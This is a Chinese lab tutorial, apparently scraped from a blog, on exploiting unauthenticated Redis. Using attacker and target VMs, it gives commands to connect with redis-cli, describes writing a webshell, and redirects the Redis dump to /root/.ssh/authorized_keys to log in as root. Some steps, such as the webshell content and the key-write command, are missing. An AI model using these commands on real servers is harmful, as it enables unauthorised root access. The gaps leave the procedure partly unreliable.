当前位置: 首页 > article >正文

redis(未授权访问漏洞)

环境准备

  1. 下载并安装Redis

    首先,下载Redis的源代码包并解压:

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    tar xzf redis-2.8.17.tar.gz
    cd redis-2.8.17
    


    接着,编译安装Redis:


    编译完成后,进入src目录,将redis-serverredis-cli拷贝到/usr/bin目录下:

    cd src
    sudo cp redis-server redis-cli /usr/bin/
    


    然后,将Redis配置文件redis.conf拷贝到/etc/目录下:

    cd ..
    sudo cp redis.conf /etc/
    


    使用配置文件启动Redis服务:

    sudo redis-server /etc/redis.conf
    

  2. 克隆虚拟机

    将当前虚拟机克隆为两台虚拟机,一台作为攻击机,一台作为靶机。设定如下IP地址:

    • 攻击机 IP: 192.168.205.148
    • 靶    机 IP: 192.168.205.149

    启动Redis服务后,我们将使用redis-cli工具在攻击机上与靶机上的Redis服务进行交互。

未授权访问漏洞测试

Redis在未启用认证的情况下,可能允许任何人无授权访问。使用Redis客户端直接连接靶机Redis服务进行验证:

redis-cli -h 192.168.205.149

若能成功连接且未要求认证,则说明Redis服务存在未授权访问漏洞。

利用Redis写入Webshell

利用Redis未授权访问漏洞,可以写入Webshell来实现远程代码执行。以下是利用Redis的步骤:

  1. 确认条件

    • 靶机Redis服务未启用认证
    • 攻击机能通过redis-cli连接到靶机
    • 靶机上有Web服务器,并且知道Web服务器的路径
  2. 写入Webshell

    将Webshell写入靶机的Web目录。例如,将Webshell写入/home/wcy/目录下:

    确认Webshell是否成功写入后,在靶机上以验证:

利用Redis公私钥认证获取Root权限

当Redis服务以Root权限运行时,可以通过向Redis中写入SSH公钥文件来获得Root权限。以下是具体步骤:

  1. 配置Redis

    启动Redis服务:

    sudo redis-server /etc/redis.conf
    
  2. 创建SSH公钥目录

    在靶机中创建SSH公钥存放目录:

    mkdir /root/.ssh
    
  3. 生成SSH密钥对

    在攻击机上生成SSH密钥对,并将公钥保存到文件中:



  4. 将公钥写入Redis

    连接到靶机Redis服务:

    redis-cli -h 192.168.205.149
    


    获取Redis配置中的目录路径:

    CONFIG GET dir
    


    将目录路径更改为SSH公钥目录,并将公钥文件名设置为authorized_keys

    CONFIG SET dir /root/.ssh
    CONFIG SET dbfilename authorized_keys
    



    将公钥写入Redis:

  5. 验证并使用SSH登录

    在攻击机上,使用生成的私钥进行SSH免密登录:

    ssh -i id_rsa root@192.168.205.149

    成功登录后,即完成了利用Redis未授权访问漏洞获取Root权限的过程。


http://www.kler.cn/news/283036.html

相关文章:

  • Mysql集群相关技术
  • 数分基础(03-3)客户特征分析-Tableau
  • 为什么需要对即将上线的系统进行压力测试
  • 数学建模学习(120):使用Python实现基于AHP的供应商选择分析
  • k8s中service对象
  • github源码指引:共享内存、数据结构与算法:平衡二叉树set带有互斥接口的
  • 怎样还原空白试卷?2024快速空白试卷还原软件合集
  • 算法练习题: 文本左右对齐
  • 【Java-存储超大整数】
  • Git 分支操作全解析:创建、切换、合并、删除及冲突解决
  • SpringBoot+Vue餐馆点菜系统小程序
  • Spring MVC学习路线指南
  • Windows Edge浏览器的兼容性问题
  • 命令模式的实际应用案例:从电梯控制系统到文本编辑器
  • Ruby宝石光芒:探索SEO优化的瑰宝工具与库
  • 13.DataLoader 的使用
  • LuaJit分析(二)luajit反编译工具
  • Linux——驱动——自动设备
  • Nginx: 缓存, 不缓存特定内容和缓存失效降低上游压力策略及其配置示例
  • 基于python文案转语音并输出-自媒体等职业副业均可使用,不受他人限制
  • 从“云、边、端”的统一管理,为传统工厂数字化转型赋能的智慧地产开源了
  • OpenAI API Error: Resource not found - Text Summarization in NodeJS
  • QT中引入SQLITE3数据库
  • 自定义全局变量在SpringBoot的应用
  • 后端完成api顺序
  • 外卖霸王餐项目是什么?怎么搭建属于自己的外卖霸王餐小程序 ?
  • 灰度发布-介绍-全链路灰度实现
  • 由浅入深学习 C 语言:Hello World【提高篇】
  • 浏览器缓存
  • 网络安全-安全渗透简介和安全渗透环境准备